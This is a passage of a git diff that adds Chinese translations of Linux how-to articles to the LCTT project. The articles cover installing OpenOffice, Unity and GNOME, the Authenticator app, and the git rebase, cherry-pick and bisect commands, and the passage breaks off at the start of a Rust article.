"wxy" +[#]: url: "https://linux.cn/article-15308-1.html" + +如何在 Arch Linux 中安装 OpenOffice(新手指南) +====== + +![][0] + +> 在 Arch Linux 及其衍生版中安装 OpenOffice 的初学者指南。 + +[OpenOffice][1] 是最古老的自由开源的办公生产力套件,已经维护了一段时间。它是由 Apache 开发,尽管它已经被分叉为 LibreOffice,但仍然是一个受欢迎的套件。 + +本教程适用于那些想要安装 OpenOffice 以满足工作和其他需要的人。 + +**注意**:在安装之前,请记住许多更新的功能和与微软 Office 的兼容性在 OpenOffice 中并未得到完全支持。如果你想要更现代的 Office 套件版本,请尝试 [LibreOffice][2]。 + +### 在 Arch Linux 中安装 OpenOffice + +[OpenOffice 软件包][3] 在 Arch 用户仓库中可用。因此,要安装它,你需要使用 AUR 助手程序。这是你需要做的。按照下面提到的步骤安装 Yay AUR 助手。如果你想了解有关 Yay 的更多信息,请参阅 [此处提供][4] 的详细指南。 + +依次运行以下命令来安装基本包并克隆 Yay: + +``` +sudo pacman -S base-develsudo pacman -S gitcd /optsudo git clone https://aur.archlinux.org/yay.git +``` + +通过将 `debugpoint` 替换为你的 Arch 系统的用户名来运行以下命令: + +``` +sudo chown -R debugpoint:users ./yay +``` + +最后,使用以下命令安装 AUR 助手: + +``` +cd yaymakepkg -si +``` + +完成后,使用以下命令安装 OpenOffice: + +``` +yay -S openoffice-bin +``` + +![通过 Yay 助手在 Arch Linux 中安装 OpenOffice][5] + +按照屏幕上的说明进行操作。安装后,你可以在应用菜单中找到它,如下图所示。 + +启动 OpenOffice 并将你的姓名和详细信息添加到启动向导中,你就可以使用了。 + +![Arch Linux 应用菜单 (XFCE) 中的 OpenOffice][6] + +![在 Arch Linux 中运行的最新 OpenOffice][7] + +### 总结 + +使用上述方法,你还可以在 Majnaro 和其他基于 Arch Linux 的发行版中安装 OpenOffice。尽管它是一个较旧的办公生产力套件,但你应该记住,它并不完全兼容现代微软 Office 文档类型(例如 docx、xlsx)。 + +如果你在安装过程中遇到任何错误,请在下面的评论栏中给我们留言。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/install-openoffice-arch/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.openoffice.org/ +[2]: https://www.debugpoint.com/install-latest-libreoffice-ubuntu-linux/ +[3]: https://aur.archlinux.org/packages/openoffice-bin +[4]: https://www.debugpoint.com/install-yay-arch/ +[5]: https://www.debugpoint.com/wp-content/uploads/2022/11/Install-OpenOffice-in-Arch-Linux-via-Yay-helper.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/11/OpenOffice-in-Arch-Linux-Application-Menu-XFCE.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2022/11/Latest-OpenOffice-running-in-Arch-Linux.jpg +[0]: https://img.linux.net.cn/data/attachment/album/202212/01/151227rcrfy8marckyftyg.jpg \ No newline at end of file diff --git a/published/202212/20221115.0 ⭐️ You Can Now Install Unity 7.6 Desktop on Arch Linux.md b/published/202212/20221115.0 ⭐️ You Can Now Install Unity 7.6 Desktop on Arch Linux.md new file mode 100644 index 0000000000..61b8645189 --- /dev/null +++ b/published/202212/20221115.0 ⭐️ You Can Now Install Unity 7.6 Desktop on Arch Linux.md @@ -0,0 +1,79 @@ +[#]: subject: "You Can Now Install Unity 7.6 Desktop on Arch Linux" +[#]: via: "https://news.itsfoss.com/unity-arch-linux/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15316-1.html" + +你现在可以在 Arch Linux 上安装 Unity 7.6 桌面了 +====== + +> 想在 Arch Linux 上试试 Unity 吗?现在可以了! + +![](https://news.itsfoss.com/content/images/size/w2000/2022/11/unity-on-arch-linux.png) + +Unity Desktop 是由 Canonical 构建的经典桌面环境,它从 2010 年到 2017 年是 Ubuntu 的一部分,但为了支持 GNOME 而放弃。 + +我们认为它永远被杀死了。但它卷土重来。 + +今年早些时候,自 2016 年 5 月上次更新以来,经过长达 6 年的时间,Unity 的改进版本发布了。 + +开发由一位年轻的开发人员 [Rudra Saraswat][1] 带头,他也是 [Ubuntu Unity][1] 的创建者,它现在是 Ubuntu 的官方版本。 + +Unity 7.6 的发布标志着大量改进的到来。 + +而且,更进一步,Unity 7.6 已可用于 Arch Linux。开发者提到: + +> 此移植基于 chenxiaolong (于 2011-2016 年维护)的早期成果 Unity-for-Arch。 + +### 在 Arch Linux 上试用 Unity 7.6 + +![unity on arch linux][2] + +首先,你必须确保你已经安装了 Arch Linux。 + +然后你可以按照以下步骤在 Arch Linux 上运行 Unity 7.6: + +安装 [Paru][3],它是一个 AUR 助手。 + +使用 `paru -S unity-installer-arch` 安装名为 `unity-installer-arch` 的脚本。 + +在 TTY/终端窗口中运行 `unity-installer-arch`。 + +选择 “安装 Unity 桌面Install Unity desktop”。 + +将默认显示管理器更改为 `lightdm`。 + +使用 `unity-greeter` 作为默认登录界面。 + +我的同事 Sreenath 尝试了一下,在安装过程中,由于多重依赖冲突,他不得不从全新的 Arch 开始。 + +对你来说可能有所不同,但请记住这一点。如果你不想花时间在这上面,你可能想试试 [Ubuntu Unity][4]。 + +### 总结 + +对于 Unity 桌面爱好者来说,这是一件好事。更多发行版可能会考虑使用带有 Unity 桌面的变体。 + +你想让那发生吗? + +💬 你是 Unity 桌面的用户吗?想试试看么?在评论区分享你的观点。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/unity-arch-linux/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://about.ruds.io +[2]: https://news.itsfoss.com/content/images/2022/11/unity_for_arch.jpg +[3]: https://itsfoss.com/paru-aur-helper/ +[4]: https://ubuntuunity.org diff --git a/published/202212/20221116.0 ⭐️⭐️ How to Install GNOME Desktop Environment in Linux Mint.md b/published/202212/20221116.0 ⭐️⭐️ How to Install GNOME Desktop Environment in Linux Mint.md new file mode 100644 index 0000000000..f521aaceed --- /dev/null +++ b/published/202212/20221116.0 ⭐️⭐️ How to Install GNOME Desktop Environment in Linux Mint.md @@ -0,0 +1,119 @@ +[#]: subject: "How to Install GNOME Desktop Environment in Linux Mint" +[#]: via: "https://itsfoss.com/install-gnome-linux-mint/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15350-1.html" + +如何在 Linux Mint 上安装 GNOME 桌面环境 +====== + +![][0] + +Linux Mint 是一款极好的 Linux 发行版,特别适合初学者。 + +我喜欢它仍然保持常见的 Ubuntu/Debian 习惯,但是它还做了一些 [比 Ubuntu 更好的][1] 工作,其中之一就是它没有使用 Snap。 + +然而,我不是 Cinnamon 桌面环境的粉丝,因为我从来没有真正地喜欢过 Windows XP 或 7 的默认设置。 + +当我寻求保持 Linux Mint 稳定的同时而提供 GNOME 的能力时,这便是我最终获得的结果: + +![install gnome in linux mint][2] + +不太炫,这就是我运行 GNOME 42.5 的 Linux Mint 21 。 + +如果你想在 Linux Mint 上安装 GNOME ,那么这篇指南非常适合你。 + +### 在 Linux Mint 上安装GNOME 之前所要知道的事 + +要在 Mint 上安装 GNOME,你务必需要有足够的理由。如果你只是为了尝鲜,可以在虚拟机中尝试。我使用 [在 VirtualBox 中安装的 Linux Mint][3] 来演示这篇教程。 + +安装除发行版提供的桌面环境之外的其他桌面环境,移除桌面环境部分会使其变成一件很复杂的事。 + +Cinnamon 使用了一些 GNOME 元素。如果你决定稍后移除 GNOME ,这可能会影响到 Cinnamon 的一部分功能。 + +这可能会导致缺少实战经验用户的恐慌。当然,在 TTY 屏幕中重新安装 Cinnamon 桌面环境可能是一种可行的解决方案。 + +最重要的一点是,如果你很容易惊慌地不知所措和不喜欢解决难题,那么你就不应该在你的主力计算机上做这些 “试验” 。 + +抛开这些顾虑,让我们看看在 Linux Mint 上获取 GNOME 的简单过程。 + +### 在 Linux Mint 上安装 GNOME 桌面环境 + +在这里,你有两个选项:1、你可以使用包含所有的 GNOME 实用程序的完整的 GNOME 桌面,2、你也可以使用包含极少数软件包的 GNOME 精简版本。 + +我都将讲解一下。 + +为 **安装精简版本的 GNOME** ,你需要安装一个名称为 `vanilla-gnome-desktop` 的软件包,使用下面给定的命令: + +``` +sudo apt install vanilla-gnome-desktop +``` + +**如果你想要完整的 GNOME 体验** ,你可以简单地安装 `gnome` 软件包: + +``` +sudo apt install gnome +``` + +在你执行上述任一个命令后,在接下来的步骤中将会要求你选择首选的显示管理器。 + +![choose display manager][4] + +`gdm3` 是 GNOME 桌面的显示管理器,而 Linux Mint 使用 `lightdm` 作为默认的显示管理器,这两种显示器都可以正常工作,但是,我建议你使用 `gdm3` 来获取完整的 GNOME 体验。 + +#### 切换到 GNOME + +在完成后,注销并按一次回车键,在这里,你将看到一个小齿轮图标。从这里选择 “GNOME” : + +![choose gnome while logging in][5] + +现在,你拥有以 Linux Mint 为基础的 GNOME 桌面环境! + +#### 额外提示:如何应用整体风格一致的主题 + +你可以继续使用 Cinnamon 桌面的主题,但是它们大多不能如前工作,因此,我建议使用 GNOME 桌面的主题(例如 Adwaita )来保持桌面环境的一致性。 + +对我而言,其默认的字体没有一点效果。并且,我更喜欢 Fedora 提供的一些字体。因此,从系统菜单打开 GNOME 调整GNOME tweaks,并作出如下更改: + +![change fonts in ubuntu to have vanilla gnome experience][6] + +这里是我使用的一些设置: + +- `Cantarell Regular (11)` 用于界面和文档文本。 +- `Noto Sans Mono Regular (13)` 用于等宽字体文本。 +- `Cantarell Bold (11)` 用于窗口标题。 + +它们的结果是,比默认的 Ubuntu 字体方案要好得多。 + +既然你有了 GNOME ,你可以使用我们的详细指南来安装和 [更改 Linux 上的 GNOME 主题][7],来使其成为你所梦想的样子。 + +### 总结 + +如你所见,在 Linux Mint 上安装 GNOME 是非常简单的。正如我先前所提到的那样,移除部分可能会使事情复杂化,因为这可能会移除一些 Cinnamon 所需要的一些 GNOME 软件包。 + +你现在的主力计算机系统是什么?我的是 Pop!_OS 。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/install-gnome-linux-mint/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robseans) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/linux-mint-vs-ubuntu/ +[2]: https://itsfoss.com/wp-content/uploads/2022/11/install-gnome-in-linux-mint.png +[3]: https://itsfoss.com/install-linux-mint-in-virtualbox/ +[4]: https://itsfoss.com/wp-content/uploads/2022/11/choose-display-manager.png +[5]: https://itsfoss.com/wp-content/uploads/2022/11/choose-gnome-while-logging-in.png +[6]: https://itsfoss.com/wp-content/uploads/2022/11/change-fonts-in-ubuntu-to-have-vanilla-gnome-experience.png +[7]: https://itsfoss.com/install-switch-themes-gnome-shell/ +[0]: https://img.linux.net.cn/data/attachment/album/202212/15/104944fkv32vbys5x1hiv9.jpg \ No newline at end of file diff --git a/published/202212/20221117.1 ⭐️ Authenticator A Simple Open-Source App to Replace Authy on Linux.md b/published/202212/20221117.1 ⭐️ Authenticator A Simple Open-Source App to Replace Authy on Linux.md new file mode 100644 index 0000000000..6cf779848d --- /dev/null +++ b/published/202212/20221117.1 ⭐️ Authenticator A Simple Open-Source App to Replace Authy on Linux.md @@ -0,0 +1,93 @@ +[#]: subject: "Authenticator: A Simple Open-Source App to Replace Authy on Linux" +[#]: via: "https://itsfoss.com/authenticator/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15313-1.html" + +Authenticator:一个 Linux 上的 Authy 的简单的开源替代品 +====== + +Authy 是一款流行的应用,用于存储和管理双因素代码。它是一项基于云的服务,可为你提供便利的工业级安全性。不幸的是,它不是开源的。 + +你会考虑在 Linux 桌面上使用更直接(和开源)的身份验证器应用吗? + +嗯,当然,你不能使用云同步。但是你可以为双因素身份验证码做个备份。记住这点,让我告诉你更多有关 Authenticator 的信息。 + +![authenticator app ft][1] + +### Authenticator:生成双因素身份验证代码 + +当你启用在线服务的双因素身份验证时,大多数服务都会为你提供令牌/QR 码,你可以添加/扫描以生成代码。 + +Authenticator 就是这样一款适用于 Linux 的应用,他可让你添加双因素身份验证码。 + +![authenticator ui][2] + +它是一个自由开源的应用,具有添加各种支持双因素身份验证的令牌和网站的基本功能。 + +### 身份验证器的特点 + +![authenticator 自动锁定][4] + +你获得的一些基本功能包括: + +- 使用相机或截图的二维码扫描器 +- 使用密码保护应用 +- 自动锁定应用 +- 支持各种算法(SHA-1/SHA-256/SHA-512) +- 支持基于时间/基于计数器/流式计算方法 +- 备份/恢复选项(FreeOTP、Aegis 和 OTP、Bitwarden 和 Google Authenticator) + +你可以设置自定义选项,并能够根据服务提供的支持添加自定义的提供者。可以为提供者添加自定义图标,以帮助你区分身份验证代码。 + +![authenticator 自定义提供程序][5] + +在大多数情况下,默认设置应该适用于网站。但是,如果它不起作用,你可能需要与提供者核实确切的详细信息。 + +该应用还具有开箱即用的多个提供者,例如 Google Drive 和 Proton Mail。因此,你无需为添加的每个条目添加自定义配置。 + +### 在 Linux 上安装 Authenticator + +![authenticator 添加新代码][6] + +Authenticator 以 Flatpak 的形式提供。因此,你可以将它安装在任何 Linux 发行版上。 + +只需输入以下命令即可安装它: + +``` +flatpak install flathub com.belmoussaoui.Authenticator +``` + +你可以前往其 [Flathub][7] 或 GitLab 页面探索更多信息。 + +如果你是 Linux 世界的新手,请参阅我们的 [Flatpak 指南][8] 进行设置。你的软件中心可能已经启用了 Flatpak 集成。这种情况下,你可以搜索安装它。 + +### 使用开源身份验证器应用确保安全性和可靠性 + +我们经常依赖云驱动的工具来处理所有事情。当然,这很方便。 + +但是,有时桌面应用更有用。如果你也这么想并考虑进行转换,Authenticator 可能是一款值得安装的出色的应用,可以用于双因素身份验证码。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/authenticator/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/11/authenticator-app-ft.png +[2]: https://itsfoss.com/wp-content/uploads/2022/11/authenticator-ui.png +[4]: https://itsfoss.com/wp-content/uploads/2022/11/authenticator-auto-lock.png +[5]: https://itsfoss.com/wp-content/uploads/2022/11/authenticator-custom-provider.png +[6]: https://itsfoss.com/wp-content/uploads/2022/11/authenticator-add-new-code.png +[7]: https://flathub.org/apps/details/com.belmoussaoui.Authenticator +[8]: https://itsfoss.com/flatpak-guide/ diff --git a/published/202212/20221121.2 ⭐️⭐️ Learn Git 3 commands to level up your skill.md b/published/202212/20221121.2 ⭐️⭐️ Learn Git 3 commands to level up your skill.md new file mode 100644 index 0000000000..db24a51375 --- /dev/null +++ b/published/202212/20221121.2 ⭐️⭐️ Learn Git 3 commands to level up your skill.md @@ -0,0 +1,164 @@ +[#]: subject: "Learn Git: 3 commands to level up your skill" +[#]: via: "https://opensource.com/article/22/11/advanced-git-commands" +[#]: author: "Dwayne McDaniel https://opensource.com/users/dwaynemcdaniel" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15324-1.html" + +掌握强大的 Git 变基命令 +====== + +![][0] + +> 学习如何使用 Git 来压扁、变基和精选。 + +当我与别人谈到 Git 时,几乎每个人都对 [git rebase 命令][1] 有强烈的印象,这个命令让许多人遇到了问题,而不得不更改目录、删除仓库、然后再重新克隆一个仓库。我认为这是因为他们误解了分支是如何工作,遇到了一个非常糟糕的默认界面,还有一些合并冲突把事情搞得一团糟。 + +### 怎么找不到 git squash 命令? + +如果你曾在本地的仓库提交过很多次,并希望能把这些提交都合并为一个提交,接下来,我们就来介绍能用什么 Git 命令达到这个目的。Git 称这个概念为 “压扁提交 squash commits ”。我在编写文档时发现了这个概念:我花了十几个提交才修改好我的 Markdown 文档,但是仓库的维护者不想看到我的所有尝试,以免扰乱了该项目的历史,所以我被告知“需要压扁你的提交”。 + +**压扁提交**听起来是一个很有用的方法。但是只有一个问题:我不知道该怎么做。作为 Git 的新手,我做了任何人会做的事情:我去查阅 `git-squash` 的手册,但我立即遇到了阻碍: + +``` +$ man git-squash +> No manual entry for git-squash +``` + +我发现没有一个名为 `squash` 的 Git 命令,而是被要求 [运行一个完全独立的命令:git rebase 命令][2],该命令能将我的所有提交最终合并为一个提交。 + +我知道我碰到一个常见的情形:已经使用工具一段时间的人使用了**行话**或引用了一个概念,这个概念对他们来说是非常清楚的,但对新手来说就不能明白了。从概念上讲,这个情况看起来是这样的: + +![Image of 6 bowls of different colored spices, and an arrow pointing to the second image of all the spices blended into one bowl.][3] + +我这样说是为了鼓励你,你绝对不是第一个或最后一个 _被 Git 或谈论 Git 的人_ 弄糊涂的人。你可以要求对方说明白他的意见,并帮助你应该使用的正确命令。仓库的维护者实际上的意思是,“使用 `git rebase` 命令**,将很多提交压扁成一个提交”。 + +### 现在就来学习 git rebase 命令吧 + +`git rebase` 命令会将一个提交链从其第一个父级中删除,并将其放置在另一个提交链的末尾,将两个提交链组合成一个长链,而不是两个并行链。我意识到这是一个很复杂的定义。 + +回想一下 Git 的提交是如何链接在一起的,你可以看到,除了初始的 `main`(或 `master`)分支外,任何分支都有一个 父提交 parent commit 作为该链的 “基础 base ”。“变基 rebase ” 能使另一个链中的最后一个提交成为指定分支的新 “基础提交 base commit ”。 + +在 Git 中整合来自不同分支的修改主要有两种方法:合并merge 以及 变基rebase,你可能更熟悉 `git merge` 命令。接下来,就来看看 [git-scm.com] 是如何解释 `git merge` 和 `git rebase` 的差异: + +![Image of Git merge versus git rebase shown as numbered bubbles.][5] + +在合并示例中,它会把两个分支的最新快照(`C3` 和 `C4`)以及二者最近的共同祖先(`C2`)进行三方合并,合并的结果是生成一个新的快照(`C5`)。`experiment` 的分支指针仍然存在,仍然指向 `C4`。 + +在变基示例中,它提取在 `C4` 中引入的补丁和修改,然后在 `C3` 的基础上应用一次,使 `C3` 成为 `C4` 的新父级,并产生了一个名为 `C4'` 的新提交。 + +(LCTT 译注:具体的命令如下: + +``` +$ git checkout experiment +$ git rebase main +First, rewinding head to replay your work on top of it... +Applying: added staged command +``` + +它的原理是首先找到这两个分支 —— 即当前分支 `experiment`、变基操作的目标基底分支 `main` —— 的最近共同祖先 `C2`,然后对比当前分支相对于该祖先的历次提交,提取相应的修改并存为临时文件,然后将当前分支指向目标基底 `C3`,最后以此将之前另存为临时文件的修改依序应用。) + +值得注意的是,分支指针 `main` 没有移动。要让 Git 将指针移动到链的末尾(由`experiment` 指向),你还需要执行合并。 + +(LCTT 译注:具体的命令如下: + +``` +$ git checkout main +$ git merge experiment +``` + +![master 分支的快进合并](https://www.progit.cn/images/basic-rebase-4.png) + +此时,`C4'` 指向的快照就和上面使用 `merge` 命令的例子中 `C5` 指向的快照一模一样了。) + +`git rebase` 并不能替代 `git merge`。`git rebase` 是一种用于制作更清晰的历史记录,以与 `git merge` 结合使用的工具。 + +(LCTT 译注:使用 `git rebase` 命令将提交到某一分支上的所有修改都移至另一分支上,就好像“重新播放”一样。) + +#### 交互式变基能给你一个更友好的界面! + +从命令行执行 `git rebase` 命令,最可怕的地方在于它**糟糕的默认界面**。运行命令 `git rebase ` 要么有效,要么会变得一团糟,因为它没有太多的反馈或方法来确保它做你想做的事情。幸运的是,`git rebase` 命令和许多其他 Git 命令一样,具有 交互模式 interactive mode ,你可以使用参数 `-i` 或者 `-interactive` 来使用交互模式。 + +![Image of the Git lens interactive Rebase tool in VS Code.][6] + +在使用交互式模式时,`git rebase` 会从一个糟糕的黑框界面转换为一个**选项菜单**,允许你选择对正在变基的提交链所做的事。对于每个提交,你可以**选择**: + +- 选用pick:按原样包含 +- 重写reword:重写提交消息 +- 编写edit:在变基完成之前对提交中的文件进行进一步更改 +- 压扁squash:将多个提交压缩成一个提交,保留所有提交消息 +- 修理fixup:将多个提交压缩成一个提交,但只保留最后一个提交消息 +- 丢弃drop:丢弃此提交 + +就我个人而言,我更喜欢 [VS Code 的开源 GitLens 扩展][7] 使用下拉选择列表布局选项的方式,但 Git 允许你使用任何编辑器选择这些选项。对于 Emacs 或 Vim 等纯文本工具,你需要键入选择,而不是从菜单中选择,但最终结果仍然是相同的。 + +#### 何时做变基 + +知道 _何时_ 做变基与知道 _如何_ 做变基同样重要。事实上,如果你不在乎你的仓库历史提交消息有点混乱的话,那么你可以永远都不使用 `git rebase` 命令。但是,如果你想要更干净的历史提交消息,并且想要更少扰乱你的图形视图的提交,那么当你使用 `git rebase` 命令时,有一个重要的**经验法则**需要时刻记住: + +> “不要变基你存储库以外的的提交,那些提交可能是别人工作的基础。” + +如果你遵循该准则,不会发生什么大问题的。 + +简而言之,如果你让一个**本地分支**来完成你的工作,变基是没有问题的。但一旦该分支被 推送 push 了,就不要再变基该分支了。当然,你想要怎么做完全取决于你自己。 + +希望你会认为上述内容有助于你理解 `git rebase` 命令的工作原理,并能让你更有信心地使用它。与任何 Git 命令一样,**练习**是学习和理解怎么做的唯一方法。我鼓励你勇敢地尝试 交互式变基 interactive rebase `git rebase -i `! + +### 接下来学习 Git cherry-pick 命令吧 + +大多数开发人员将修改提交到某一分支上,但是之后发现他们一直**提交到了错误的分支上**。理想情况下,他们可以拿走那个提交,然后把它移到正确的分支,这正是 `git cherry-pick` 命令的作用。 + +`git cherry-pick` 命令利用了变基单个提交的方法。这一用法非常常见,以至于有了它自己的命令。 + +![Image of a woman picking a cherry from one tree and putting on another tree.][8] + +要使用 `git cherry-pick`,你只需告诉 Git 你要移动到“那个分支”的提交 ID(由 `HEAD` 指向): + +``` +$ git cherry-pick +``` + +如果出现问题,你可以根据 Git 提供的错误消息,来进行恢复: + +``` +$ git cherry-pick -i 2bc01cd +Auto-merging README.md +CONFLICT (content): Merge conflict in README.md +error: could not apply 2bc01cd… added EOF lines +hint: After resolving the conflicts, mark them with +hint: "git add/rm ", then run +hint: "git cherry-pick --continue". +hint: You can instead skip this commit with "git cherry-pick --skip". +hint: To abort and get back to the state before "git cherry-pick", +hint: run "git cherry-pick --abort". +$ git cherry-pick --abort +``` + +### 让 Git 更强大 + +`git rebase` 命令是 Git 实用程序强大的地方之一。你最好在测试仓库中先练习一下怎么使用,一旦你熟悉了它的概念和工作流程,你就可以给仓库一个清晰历史消息记录了。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/advanced-git-commands + +作者:[Dwayne McDaniel][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dwaynemcdaniel +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/20/4/git-rebase-i +[2]: https://opensource.com/article/22/4/manage-git-commits-rebase-i-command +[3]: https://opensource.com/sites/default/files/2022-11/gitbeyond2.spices.png +[4]: http://git-scm.com +[5]: https://opensource.com/sites/default/files/2022-11/gitbeyond2.gitmerger.png +[6]: https://opensource.com/sites/default/files/2022-11/gitbeyond2.GitLens%20Interactive%20Rebase%20tool%20in%20VS%20Code.png +[7]: https://marketplace.visualstudio.com/items?itemName=eamodio.gitlens +[8]: https://opensource.com/sites/default/files/2022-11/gitbeyond2.cherrypicking.png +[0]: https://img.linux.net.cn/data/attachment/album/202212/07/133637yq2526zsp7f1t7a2.jpg \ No newline at end of file diff --git a/published/202212/20221122.0 ⭐️ Find bugs with the git bisect command.md b/published/202212/20221122.0 ⭐️ Find bugs with the git bisect command.md new file mode 100644 index 0000000000..f870c884c0 --- /dev/null +++ b/published/202212/20221122.0 ⭐️ Find bugs with the git bisect command.md @@ -0,0 +1,89 @@ +[#]: subject: "Find bugs with the git bisect command" +[#]: via: "https://opensource.com/article/22/11/git-bisect" +[#]: author: "Dwayne McDaniel https://opensource.com/users/dwaynemcdaniel" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15310-1.html" + +使用 Git bisect 命令定位首次引入错误的提交 +====== + +![][0] + +> Git 的 bisect 工具通过快速识别坏的提交,节省了时间和精力。 + +你是不是有过这样的经历:发现代码中有 错误 bug ,但不知道这个错误是什么时候引入的。这有可能是因为,某个人提交了一份有错误的代码,但没有在他的 Git 提交 commit 消息中声明它。这个错误可能已经存在了几周、几个月甚至几年,这意味着你需要搜索数百或数千个提交,才能找到问题何时出现的。而 `git bisect` 命令能够完美地解决这个问题! + +`git bisect` 命令是一个强大的工具。你可以给 `git bisect` 命令一个范围,一端是一个已知的好状态,另一端是一个已知的坏状态。它会自动地确认当前范围的中点,在这个中点上进行测试,然后要求你确定那次提交是一个 好提交 good commit 还是一个 坏提交 bad commit ,然后它会重复这一“二分查找”的过程,直到你找到首次引入错误的那一次提交。 + +![Image of Zeno's paradox of Achilles.][1] + +这个“数学”工具是利用“二分查找”来找到错误之处的。`git bisect` 命令通过**查看中点**,然后由你来决定它是提交列表的新起点(即 “坏提交” )还是新终点(即 “好提交”),进而来缩小查找范围,如此在几次查找中你可以就能定位到有错误的提交。即使你有 10,000 个提交要检查,最多只需要 13 次查找,就能很快地定位到首次引入错误的提交。 + +1. 提交 1 坏 <> 提交 10,000 好 => 提交 5,000 是坏的 +2. 提交 5,000 坏 <> 提交 10,000 好 => 提交 7,500 是好的 +3. 提交 5,000 坏 <> 提交 7,500 好 => 提交 6,250 是好的 +4. 提交 5,000 坏 <> 提交 6,250 好 => 提交 5,625 是坏的 +5. 提交 5,625 坏 <> 提交 6,250 好 => 提交 5,938 是坏的 +6. 提交 5,938 坏 <> 提交 6,250 好 => 提交 6,094 是好的 +7. 提交 5,938 坏 <> 提交 6,094 好 => 提交 6,016 是坏的 +8. 提交 6,016 坏 <> 提交 6,094 好 => 提交 6,055 是好的 +9. 提交 6,016 坏 <> 提交 6,055 好 => 提交 6,036 是坏的 +10. 提交 6,036 坏 <> 提交 6,055 好 => 提交 6,046 是坏的 +11. 提交 6,046 坏 <> 提交 6,055 好 => 提交 6,050 是坏的 +12. 提交 6,050 坏 <> 提交 6,055 好 => 提交 6,053 是好的 +13. 提交 6,053 坏 <> 提交 6,055 好 => 提交 6,054 是好的 + +对于上面这个例子,我们能知道 10,000 个提交中的第一个错误提交是第 6053 次提交。对于 `git bisect` 命令,最多需要几分钟就能完成检索。但是如果要一个一个查找每个提交是否错误,我甚至无法想象需要多长时间。 + +### 使用 Git bisect 命令 + +`git bisect` 命令使用起来非常简单: + +(LCTT 译注:使用 `git bisect start` 命令来进入 bisect 模式,并且该命令指定了一个检查范围。它会告诉我们一共有多少次提交,大概需要几步就可以定位到具体的提交。) + +``` +$ git bisect start +$ git bisect bad # Git assumes you mean HEAD by default +$ git bisect good # specify a tag or commit ID for +``` + +Git 检查中间的提交,并等待你声明这次提交是一个好提交还是一个坏提交: + +(LCTT 译注:如果某一提交是可以通过的,则使用 `git bisect good` 命令标记;同样地,如果某一提交不能通过,则使用 `git bisect bad` 命令标记。) + +``` +$ git bisect good +``` + +或 + +``` +$ git bisect bad +``` + +然后,`git bisect` 工具重复检查好提交和坏提交中间的那次提交,直到你告诉它: + +``` +$ git bisect reset +``` + +一些高级用户甚至可以自己编写脚本,来确定提交的好坏状态、并在找到特定提交时采取某一补救措施。你可能不会每天都使用 `git bisect` 命令,但当你需要它来定位首次引入错误的提交时,它会是一个很有用的救星。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/git-bisect + +作者:[Dwayne McDaniel][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dwaynemcdaniel +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/2022-11/beyondgit.paradox.png +[0]: https://img.linux.net.cn/data/attachment/album/202212/02/092549j2o7h9cif3hcu34z.jpg \ No newline at end of file diff --git a/published/202212/20221122.2 ⭐️⭐️⭐️ Introducing Rust calls to C library functions.md b/published/202212/20221122.2 ⭐️⭐️⭐️ Introducing Rust calls to C library functions.md new file mode 100644 index 0000000000..f0f6e2de35 --- /dev/null +++ b/published/202212/20221122.2 ⭐️⭐️⭐️ Introducing Rust calls to C library functions.md @@ -0,0 +1,292 @@ +[#]: subject: "Introducing Rust calls to C library functions" +[#]: via: "https://opensource.com/article/22/11/rust-calls-c-library-functions" +[#]: author: 